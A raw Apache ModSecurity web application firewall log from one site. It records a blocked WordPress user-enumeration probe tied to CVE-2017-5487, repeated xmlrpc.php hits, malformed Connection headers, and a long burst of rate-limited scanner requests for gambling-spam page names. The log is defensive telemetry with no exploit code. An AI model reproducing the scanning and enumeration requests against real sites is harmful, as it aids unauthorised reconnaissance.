[Tue Mar 03 13:26:35.603461 2026] [:error] [pid 36897:tid 36903] [client 36.67.165.162:56394] [client 36.67.165.162] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaZxCyZC69_8eM0Uout-xwAAAME"]
[Tue Mar 03 13:27:26.817143 2026] [:error] [pid 36897:tid 36921] [client 36.67.165.162:56862] [client 36.67.165.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.67.165.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaZxPiZC69_8eM0Uout_XAAAANM"]
[Tue Mar 03 13:28:34.827557 2026] [:error] [pid 36897:tid 36919] [client 36.67.165.162:57323] [client 36.67.165.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.67.165.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaZxgiZC69_8eM0UouuANAAAANE"]
[Tue Mar 03 13:29:45.536323 2026] [:error] [pid 36784:tid 36828] [client 36.67.165.162:57757] [client 36.67.165.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.67.165.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaZxyXNeKOSGbW9kDgQ7xwAAAEU"]
[Tue Mar 03 13:31:03.858190 2026] [:error] [pid 14042:tid 14061] [client 36.67.165.162:58959] [client 36.67.165.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.67.165.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaZyF2eHGCmSEiIBcK4e5wAAAZE"]
[Tue Mar 03 13:41:12.337866 2026] [:error] [pid 20872:tid 20895] [client 106.54.62.156:52032] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaZ0eIlYbNk3E_3CgBgOZQAAARU"]
[Tue Mar 03 14:08:05.079173 2026] [:error] [pid 36784:tid 36846] [client 170.106.179.68:45708] [client 170.106.179.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaZ6xXNeKOSGbW9kDgRM3wAAAFc"]
[Tue Mar 03 14:30:13.227137 2026] [:error] [pid 36897:tid 36920] [client 147.135.213.153:45062] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaZ_9SZC69_8eM0UouuiGwAAANI"]
[Tue Mar 03 14:30:15.056506 2026] [:error] [pid 36897:tid 36922] [client 147.135.213.153:55278] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaZ_9yZC69_8eM0UouuiIgAAANQ"]
[Tue Mar 03 14:30:15.927447 2026] [:error] [pid 36897:tid 36924] [client 88.89.67.172:41738] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaZ_9yZC69_8eM0UouuiJQAAANY"]
[Tue Mar 03 14:30:16.972456 2026] [:error] [pid 36897:tid 36905] [client 147.135.213.153:55282] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aaZ_-CZC69_8eM0UouuiLAAAAMM"]
[Tue Mar 03 14:30:17.882901 2026] [:error] [pid 36897:tid 36903] [client 88.89.67.172:59086] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaZ_-SZC69_8eM0UouuiMwAAAME"]
[Tue Mar 03 14:30:18.862051 2026] [:error] [pid 36783:tid 36800] [client 147.135.213.153:55298] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aaZ_-j4tNYh5NtLaTXdf5AAAAAY"]
[Tue Mar 03 14:30:19.877568 2026] [:error] [pid 14042:tid 14060] [client 88.89.67.172:59102] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaZ_-2eHGCmSEiIBcK4r4wAAAZA"]
[Tue Mar 03 14:30:20.782878 2026] [:error] [pid 36784:tid 36826] [client 147.135.213.153:55350] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aaZ__HNeKOSGbW9kDgRTjAAAAEM"]
[Tue Mar 03 14:30:21.708032 2026] [:error] [pid 14042:tid 14065] [client 88.89.67.172:59114] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaZ__WeHGCmSEiIBcK4r5gAAAZU"]
[Tue Mar 03 14:30:22.698675 2026] [:error] [pid 36897:tid 36906] [client 147.135.213.153:55362] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aaZ__iZC69_8eM0UouuiPQAAAMQ"]
[Tue Mar 03 14:30:23.714101 2026] [:error] [pid 36784:tid 36842] [client 88.89.67.172:59122] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaZ__3NeKOSGbW9kDgRTkgAAAFM"]
[Tue Mar 03 14:30:24.608200 2026] [:error] [pid 36783:tid 36811] [client 147.135.213.153:55366] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aaaAAD4tNYh5NtLaTXdf7AAAABE"]
[Tue Mar 03 14:30:25.689574 2026] [:error] [pid 36784:tid 36844] [client 88.89.67.172:59128] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aaaAAXNeKOSGbW9kDgRTlwAAAFU"]
[Tue Mar 03 14:30:26.513890 2026] [:error] [pid 36897:tid 36912] [client 147.135.213.153:55380] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaaAAiZC69_8eM0UouuiRQAAAMo"]
[Tue Mar 03 14:30:27.676874 2026] [:error] [pid 36784:tid 36841] [client 88.89.67.172:34734] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aaaAA3NeKOSGbW9kDgRTnAAAAFI"]
[Tue Mar 03 14:30:28.414172 2026] [:error] [pid 62485:tid 62492] [client 147.135.213.153:55386] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aaaABP9R7DZ1ENjPMXRHDQAAAcM"]
[Tue Mar 03 14:30:29.674453 2026] [:error] [pid 14042:tid 14059] [client 88.89.67.172:34742] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aaaABWeHGCmSEiIBcK4r6wAAAY8"]
[Tue Mar 03 14:30:30.468322 2026] [:error] [pid 36783:tid 36798] [client 147.135.213.153:48246] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aaaABj4tNYh5NtLaTXdf9gAAAAQ"]
[Tue Mar 03 14:30:31.506231 2026] [:error] [pid 36785:tid 36871] [client 88.89.67.172:34758] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aaaAB3hJejauENG9qTgKiQAAAJU"]
[Tue Mar 03 14:30:32.352167 2026] [:error] [pid 36785:tid 36855] [client 147.135.213.153:48256] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aaaACHhJejauENG9qTgKiwAAAIU"]
[Tue Mar 03 14:30:33.489365 2026] [:error] [pid 36783:tid 36811] [client 88.89.67.172:34764] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aaaACT4tNYh5NtLaTXdgHAAAABE"]
[Tue Mar 03 14:30:34.250164 2026] [:error] [pid 36783:tid 36811] [client 147.135.213.153:48260] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaaACj4tNYh5NtLaTXdgSQAAABE"]
[Tue Mar 03 14:30:35.485820 2026] [:error] [pid 36785:tid 36863] [client 88.89.67.172:34776] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aaaAC3hJejauENG9qTgKlAAAAI0"]
[Tue Mar 03 14:30:36.169299 2026] [:error] [pid 36785:tid 36854] [client 147.135.213.153:48266] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aaaADHhJejauENG9qTgKlwAAAIQ"]
[Tue Mar 03 14:30:37.311148 2026] [:error] [pid 36897:tid 36911] [client 88.89.67.172:56066] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aaaADSZC69_8eM0UouuiiQAAAMk"]
[Tue Mar 03 14:30:38.254443 2026] [:error] [pid 36897:tid 36922] [client 147.135.213.153:48276] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aaaADiZC69_8eM0UouuiiwAAANQ"]
[Tue Mar 03 14:30:39.302154 2026] [:error] [pid 36785:tid 36862] [client 88.89.67.172:56068] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aaaAD3hJejauENG9qTgKogAAAIw"]
[Tue Mar 03 14:30:40.135809 2026] [:error] [pid 26186:tid 26202] [client 147.135.213.153:33502] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aaaAEPbZCNtk8wDak9eVZAAAAU4"]
[Tue Mar 03 14:30:41.283517 2026] [:error] [pid 36783:tid 36805] [client 88.89.67.172:56080] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aaaAET4tNYh5NtLaTXdgVgAAAAs"]
[Tue Mar 03 14:30:42.034168 2026] [:error] [pid 36897:tid 36916] [client 147.135.213.153:33506] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aaaAEiZC69_8eM0UouuilQAAAM4"]
[Tue Mar 03 14:30:43.118146 2026] [:error] [pid 36897:tid 36921] [client 88.89.67.172:56094] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aaaAEyZC69_8eM0UouuimwAAANM"]
[Tue Mar 03 14:30:43.952647 2026] [:error] [pid 36785:tid 36859] [client 147.135.213.153:33522] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aaaAE3hJejauENG9qTgKqQAAAIk"]
[Tue Mar 03 14:30:45.103912 2026] [:error] [pid 36783:tid 36816] [client 88.89.67.172:56110] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aaaAFT4tNYh5NtLaTXdgXQAAABY"]
[Tue Mar 03 14:30:45.998500 2026] [:error] [pid 36897:tid 36926] [client 147.135.213.153:33524] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "aaaAFSZC69_8eM0UouuioAAAANg"]
[Tue Mar 03 14:30:47.091721 2026] [:error] [pid 36897:tid 36913] [client 88.89.67.172:37682] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaaAFyZC69_8eM0UouuipgAAAMs"]
[Tue Mar 03 14:30:48.045724 2026] [:error] [pid 36785:tid 36866] [client 147.135.213.153:33534] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "aaaAGHhJejauENG9qTgKuAAAAJA"]
[Tue Mar 03 14:30:48.922086 2026] [:error] [pid 36785:tid 36871] [client 88.89.67.172:37690] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aaaAGHhJejauENG9qTgKvAAAAJU"]
[Tue Mar 03 14:30:49.813300 2026] [:error] [pid 36897:tid 36913] [client 147.135.213.153:43774] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aaaAGSZC69_8eM0UouuiqQAAAMs"]
[Tue Mar 03 14:30:50.900358 2026] [:error] [pid 20872:tid 20896] [client 88.89.67.172:37692] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aaaAGolYbNk3E_3CgBgSrgAAARY"]
[Tue Mar 03 14:30:51.771835 2026] [:error] [pid 36785:tid 36856] [client 147.135.213.153:43782] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aaaAG3hJejauENG9qTgKvwAAAIY"]
[Tue Mar 03 14:30:52.736575 2026] [:error] [pid 36785:tid 36866] [client 88.89.67.172:37706] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaaAHHhJejauENG9qTgKwAAAAJA"]
[Tue Mar 03 14:30:53.811465 2026] [:error] [pid 36783:tid 36808] [client 147.135.213.153:43786] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aaaAHT4tNYh5NtLaTXdgYwAAAA4"]
[Tue Mar 03 14:30:54.711682 2026] [:error] [pid 36897:tid 36910] [client 88.89.67.172:37720] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaaAHiZC69_8eM0UouuitAAAAMg"]
[Tue Mar 03 14:30:55.824662 2026] [:error] [pid 20872:tid 20890] [client 147.135.213.153:43798] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aaaAH4lYbNk3E_3CgBgStQAAARA"]
[Tue Mar 03 14:30:56.687113 2026] [:error] [pid 36897:tid 36904] [client 88.89.67.172:38448] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aaaAICZC69_8eM0UouuivAAAAMI"]
[Tue Mar 03 14:30:57.863894 2026] [:error] [pid 36897:tid 36907] [client 147.135.213.153:43810] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "aaaAISZC69_8eM0UouuiwAAAAMU"]
[Tue Mar 03 14:30:58.666719 2026] [:error] [pid 36785:tid 36861] [client 88.89.67.172:38462] [client 88.89.67.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aaaAInhJejauENG9qTgKxQAAAIs"]
[Tue Mar 03 14:30:59.734212 2026] [:error] [pid 20872:tid 20895] [client 147.135.213.153:45750] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "aaaAI4lYbNk3E_3CgBgSvwAAARU"]
